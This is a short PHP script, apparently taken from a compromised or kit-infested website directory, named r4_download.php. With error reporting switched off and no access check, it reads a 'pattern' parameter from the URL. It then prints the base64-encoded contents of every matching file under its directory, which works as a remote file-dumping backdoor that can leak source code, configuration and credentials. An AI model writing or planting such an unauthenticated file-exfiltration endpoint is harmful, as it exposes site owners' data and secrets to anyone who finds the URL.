File: /var/www/samok164/data/www2/obryadi.ru/rzgn/r4_download.php
<?php
error_reporting(0);
if (!isset($r4_cfg_root)) {
$r4_cfg_root = dirname(__FILE__);
}
if (!empty($r4_cfg_root) && $r4_cfg_root != '/') {
$r4_cfg_root .= '/';
}
include_once("{$r4_cfg_root}r4_vars.php");
include_once("{$r4_cfg_root}r4_libs.php");
$pattern = empty($_GET['pattern']) ? '' : $_GET['pattern'];
$len = strlen($r4_cfg_root);
$filenames = get_filenames($r4_cfg_root, array(), $pattern);
foreach ($filenames as $filename) {
$relative_filename = substr($filename, $len);
$contents = file_get_contents($filename);
printf ("====== %s ======\n%s\n", $relative_filename, base64_encode($contents));
}
?>